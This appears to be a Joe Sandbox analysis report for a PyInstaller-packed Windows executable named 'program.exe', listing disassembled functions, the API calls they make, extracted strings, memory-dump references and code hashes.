Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction ID: 44dc6140cc07823e08c36d7133b7fb63651f8aa41e4be9516083f75f5c8f87c4
Opcode Fuzzy Hash: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction Fuzzy Hash: AAD1E073B0CA918AE711CF6AC4402AC37A1FB55799B444226DF4E97FE9EE39E046C300

Function 00007FF6B751F98C Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6B751FA7C
_get_daylight.LIBCMT ref: 00007FF6B751FA8D
_get_daylight.LIBCMT ref: 00007FF6B751FA9E
_isindst.LIBCMT ref: 00007FF6B751FB69

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction ID: 2480a9834041957690d72a35a3b3ad33d18c6458603f197fed6fc41226b2a31f
Opcode Fuzzy Hash: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction Fuzzy Hash: 6451A573F092218AEB14DF689D556BC3765AB4436AF500235DF1E96EF5DF3CAC428600

Function 00007FF6B751577C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF6B75157AF
GetFileInformationByHandle.KERNEL32 ref: 00007FF6B7515811
GetLastError.KERNEL32 ref: 00007FF6B75158A2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6B75156B4), ref: 00007FF6B75158EE

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction ID: 803bd9ca3fe3c0d96ccc62fc5c04e7848bbf9edbc97e47014380b2b047fb8bdb
Opcode Fuzzy Hash: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction Fuzzy Hash: 8C516A23E086518AFB10DFB994503BD27A1AB48B99F248535EF4D9BAA9DF38E4418701

Function 00007FF6B75020C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF6B75020F4
SetWindowLongPtrW.USER32 ref: 00007FF6B7502116
GetWindowLongPtrW.USER32 ref: 00007FF6B7502140
InvalidateRect.USER32 ref: 00007FF6B7502160

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: 6214889d40ec9376fab55ed24eb7b1ce0963c1cda315b5dcd7b41a35f671fae4
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: EB110C23F0C14642F655876DE98427953A2FF88784F448030DB4947BA9DD3DE6C58240

Function 00007FF6B7525B1C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B7521760: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7521793

_get_daylight.LIBCMT ref: 00007FF6B7525C34
_get_daylight.LIBCMT ref: 00007FF6B7525C45

Strings

?, xrefs: 00007FF6B7525BC5

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 21862b7f5a6063227688de7d7fc5fbfc7fa1fb1d7946118fe9e576ba790fa6aa
Instruction ID: f9009eb84b4961b74f439333b38a427d6c0a88f659bf914f75efe23bf268949c
Opcode Fuzzy Hash: 21862b7f5a6063227688de7d7fc5fbfc7fa1fb1d7946118fe9e576ba790fa6aa
Instruction Fuzzy Hash: F941E623B1C28256FB659B29954137A67A0EF80BA4F144275EF5D86AF5DF3CD8818B00

Function 00007FF6B7519014 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7519046

Part of subcall function 00007FF6B751A948: RtlFreeHeap.NTDLL(?,?,?,00007FF6B7522D22,?,?,?,00007FF6B7522D5F,?,?,00000000,00007FF6B7523225,?,?,?,00007FF6B7523157), ref: 00007FF6B751A95E
Part of subcall function 00007FF6B751A948: GetLastError.KERNEL32(?,?,?,00007FF6B7522D22,?,?,?,00007FF6B7522D5F,?,?,00000000,00007FF6B7523225,?,?,?,00007FF6B7523157), ref: 00007FF6B751A968

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF6B750CBA5), ref: 00007FF6B7519064

Strings

C:\Users\user\Desktop\program.exe, xrefs: 00007FF6B7519052

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\program.exe
API String ID: 3580290477-2554842565
Opcode ID: 136b352ca89953b7aac46d199a587659114d0cf60bae53edf27061cb20026a80
Instruction ID: b677119557b6f86b8c06a5fb58fd3cc327bce63cb1526ffe50d729b2e8220c3e
Opcode Fuzzy Hash: 136b352ca89953b7aac46d199a587659114d0cf60bae53edf27061cb20026a80
Instruction Fuzzy Hash: 90418937A0CA628AEB159F2998401BD67A4EF44BD1B554039EB4E87FA5DF3CE891C340

Function 00007FF6B751CC38 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF6B751CD4F
GetLastError.KERNEL32 ref: 00007FF6B751CD71

Strings

U, xrefs: 00007FF6B751CCFB

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction ID: a294a28bbd36a8039f0d9a75b480996b95cbcfc70026829bcab52d0d8dc4ab8f
Opcode Fuzzy Hash: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction Fuzzy Hash: 2F41B123A1CA9585DB609F2AE4443AA67A1FB98784F444135EF4DC7BA8EF3DD441CB40

Function 00007FF6B751F5B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF6B751F5F8
GetCurrentDirectoryW.KERNEL32 ref: 00007FF6B751F64A

Strings

:, xrefs: 00007FF6B751F60E

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: d7e4ed55f29cf6b5985c16ba7c582ed18ee62b51760ed1b5a20f115a32bf7e2e
Instruction ID: 17d1cb73cfb60a2195a6cc62f711a24f1eb5c2635f239ee9431842b37d667d3d
Opcode Fuzzy Hash: d7e4ed55f29cf6b5985c16ba7c582ed18ee62b51760ed1b5a20f115a32bf7e2e
Instruction Fuzzy Hash: EE21B163A0C69181EB209F19D84427D73B1FB88B85F864139DB8D83AE4DF7CE985CB41

Function 00007FF6B750FD48 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF6B750FD98
RaiseException.KERNEL32 ref: 00007FF6B750FDD9

Strings

csm, xrefs: 00007FF6B750FDC6

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction ID: 46f69375e5e0cb36e2d3d13817035f4875b358d53a28a2436d4d03ae55c646c2
Opcode Fuzzy Hash: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction Fuzzy Hash: 2D110A33618B8182EB618F19E84025977A5FB88B88F584234DB8D47764DF3DD5528700

Function 00007FF6B752073C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B752076C
GetDriveTypeW.KERNEL32 ref: 00007FF6B75207AC

Strings

:, xrefs: 00007FF6B7520795

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction ID: faa2155f1e93b51dfa73d5b32b26958f61afaba14c8c3fe0174856b584320da4
Opcode Fuzzy Hash: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
Instruction Fuzzy Hash: 1301A223A1C20386F730AF68946127E23A0EF48744F841036D74DC66B5EF3CE5458F24

Analysis Process: program.exePID: 7324, Parent PID: 7308COMMON

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.2%
Total number of Nodes:	812
Total number of Limit Nodes:	45

Executed Functions

Function 00007FF6B7501000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 511
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF6B7503D12
pyi-python-flag, xrefs: 00007FF6B7503AD6
pkg, xrefs: 00007FF6B75039BE
MEI, xrefs: 00007FF6B7503933
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF6B7503EBB
VCRUNTIME140.dll, xrefs: 00007FF6B7503DB1
pyi-contents-directory, xrefs: 00007FF6B7503B8D
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF6B7503BE8
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF6B7503D35
Failed to load splash screen resources!, xrefs: 00007FF6B7503E85
Py_GIL_DISABLED, xrefs: 00007FF6B7503AF4
Could not create temporary directory!, xrefs: 00007FF6B7503CBF
Failed to start splash screen!, xrefs: 00007FF6B7503ED4
Failed to remove temporary directory: %s, xrefs: 00007FF6B7503FCF
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF6B7503E0A
Failed to convert DLL search path!, xrefs: 00007FF6B7503DDC
pyi-disable-windowed-traceback, xrefs: 00007FF6B7503BB2
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF6B7503EA6
_PYI_SPLASH_IPC, xrefs: 00007FF6B7503A23, 00007FF6B7503EF5
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF6B7503882, 00007FF6B75038AF
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF6B75039DE
bye-runtime-tmpdir, xrefs: 00007FF6B7503B68
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF6B7503B32
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF6B7503A17, 00007FF6B7503A2F, 00007FF6B7503A9B
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF6B7503A0B, 00007FF6B7503CD4, 00007FF6B7503F6B
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF6B7503C61
_PYI_ARCHIVE_FILE, xrefs: 00007FF6B75038D2, 00007FF6B75039FF
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF6B7503971

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$bye-runtime-tmpdir$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag
API String ID: 2776309574-3273434969
Opcode ID: d52c1960cc45de78c26c9f57622ace5a14626686e839aa839f1fc42fe00fc1f1
Instruction ID: f3c13057bcb0795d7ae581c6e9239222db61db7870566825c6748627edfbdb5b
Opcode Fuzzy Hash: d52c1960cc45de78c26c9f57622ace5a14626686e839aa839f1fc42fe00fc1f1
Instruction Fuzzy Hash: BE327923A0CA8291FB299B2DD4553B927A1AF44788F84443ADB5DC32F6EF2CF559C344

Function 00007FFE00761A0F Relevance: 23.6, APIs: 5, Strings: 8, Instructions: 858COMMON

Download Yara Rule

Strings

POST , xrefs: 00007FFE007AB90B
PUT , xrefs: 00007FFE007AB943
, xrefs: 00007FFE007AB187
GET , xrefs: 00007FFE007AB8E8
ssl3_get_record, xrefs: 00007FFE007AACF1, 00007FFE007AAEA0, 00007FFE007AB016, 00007FFE007AB064, 00007FFE007AB094, 00007FFE007AB0BC, 00007FFE007AB0E9, 00007FFE007AB196, 00007FFE007AB1DF, 00007FFE007AB324, 00007FFE007AB34C, 00007FFE007AB3B8, 00007FFE007AB439, 00007FFE007AB593, 00007FFE007AB743, 00007FFE007AB7C2, 00007FFE007AB7EF, 00007FFE007AB821, 00007FFE007AB855, 00007FFE007AB887, 00007FFE007AB973, 00007FFE007AB9AD, 00007FFE007ABA20, 00007FFE007ABA51
..\s\ssl\record\ssl3_record.c, xrefs: 00007FFE007AACF8, 00007FFE007AAEA7, 00007FFE007AB01D, 00007FFE007AB06B, 00007FFE007AB09B, 00007FFE007AB0C8, 00007FFE007AB0F5, 00007FFE007AB1A2, 00007FFE007AB1EB, 00007FFE007AB330, 00007FFE007AB358, 00007FFE007AB38F, 00007FFE007AB3C4, 00007FFE007AB445, 00007FFE007AB489, 00007FFE007AB4AB, 00007FFE007AB74F, 00007FFE007AB7CE, 00007FFE007AB7FB, 00007FFE007AB828, 00007FFE007AB861, 00007FFE007AB88E, 00007FFE007AB97F, 00007FFE007AB9B9, 00007FFE007ABA27, 00007FFE007ABA5D
CONNE, xrefs: 00007FFE007AB95A
HEAD , xrefs: 00007FFE007AB929

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID:
String ID: $..\s\ssl\record\ssl3_record.c$CONNE$GET $HEAD $POST $PUT $ssl3_get_record
API String ID: 0-2781224710
Opcode ID: b400293baa34000780f5a339118ca863fb8810f07702305baec27cbd6e082666
Instruction ID: 637683ed405d1f1fee13467d312e42959eeff2dbaff3ceb2a85fc6b553e79e9b
Opcode Fuzzy Hash: b400293baa34000780f5a339118ca863fb8810f07702305baec27cbd6e082666
Instruction Fuzzy Hash: 84828061A0AA8281FB60BB21D4547B922A0EF86784F5C4036EB4D477BEDF7CE985C711

Function 00007FFE013192B0 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 513
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

00007FFE1A463010.VCRUNTIME140 ref: 00007FFE0131937F
00007FFE1A463010.VCRUNTIME140 ref: 00007FFE0131945E
00007FFE1A463010.VCRUNTIME140 ref: 00007FFE01319480
00007FFE1A463010.VCRUNTIME140 ref: 00007FFE0131963E
00007FFE1A463010.VCRUNTIME140 ref: 00007FFE01319667

Strings

nolock, xrefs: 00007FFE013197C5
-journal, xrefs: 00007FFE01319646
immutable, xrefs: 00007FFE013197FD

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: 00007A463010
String ID: -journal$immutable$nolock
API String ID: 4225454184-4201244970
Opcode ID: 2eb986691ab63cf5690bea890f4959007ca672382fe7041f02c4300093660c28
Instruction ID: 61ad543d6d888814e0326e1701cd2e661fc641cbfdca3b8ccac42d054310133b
Opcode Fuzzy Hash: 2eb986691ab63cf5690bea890f4959007ca672382fe7041f02c4300093660c28
Instruction Fuzzy Hash: 01327C22A09782CAEB658F25985037937A1FF45BA8F094235CA6E0BBF5DF3CE455C311

Function 00007FF6B7526964 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6B7526698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B75266D9
Part of subcall function 00007FF6B7526698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7526757
Part of subcall function 00007FF6B7526698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B75267A8

CreateFileW.KERNEL32 ref: 00007FF6B7526A6A
CreateFileW.KERNEL32 ref: 00007FF6B7526ABA
GetLastError.KERNEL32 ref: 00007FF6B7526AEA
GetFileType.KERNEL32 ref: 00007FF6B7526AFF
GetLastError.KERNEL32 ref: 00007FF6B7526B09
CloseHandle.KERNEL32 ref: 00007FF6B7526B3C
CloseHandle.KERNEL32 ref: 00007FF6B7526C9F
CreateFileW.KERNEL32 ref: 00007FF6B7526CD4
GetLastError.KERNEL32 ref: 00007FF6B7526CE3

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction ID: cf893e351dc205a47d7644c89b0848d5f0e7030fc3451c5f0b844973060f5006
Opcode Fuzzy Hash: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction Fuzzy Hash: 68C1AE37B28A4685EB10CFA9C4906AC3761FB49BA8F115239DF5E97BA4DF38E451C340

Function 00007FFDFB429060 Relevance: 9.6, APIs: 4, Strings: 1, Instructions: 850librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FFDFB429B20
GetProcAddress.KERNEL32 ref: 00007FFDFB429B4A
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FFDFB429BD4
VirtualProtect.KERNEL32 ref: 00007FFDFB429BF2

Strings

)tP, xrefs: 00007FFDFB42908B

Memory Dump Source

Source File: 00000001.00000002.2118545805.00007FFDFB429000.00000080.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFAF20000, based on PE: true

Associated: 00000001.00000002.2117371386.00007FFDFAF20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2117447704.00007FFDFAF21000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2117447704.00007FFDFAF32000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2117447704.00007FFDFAF42000.00000040.00000001.01000000.0000000F.sdmpDownload File
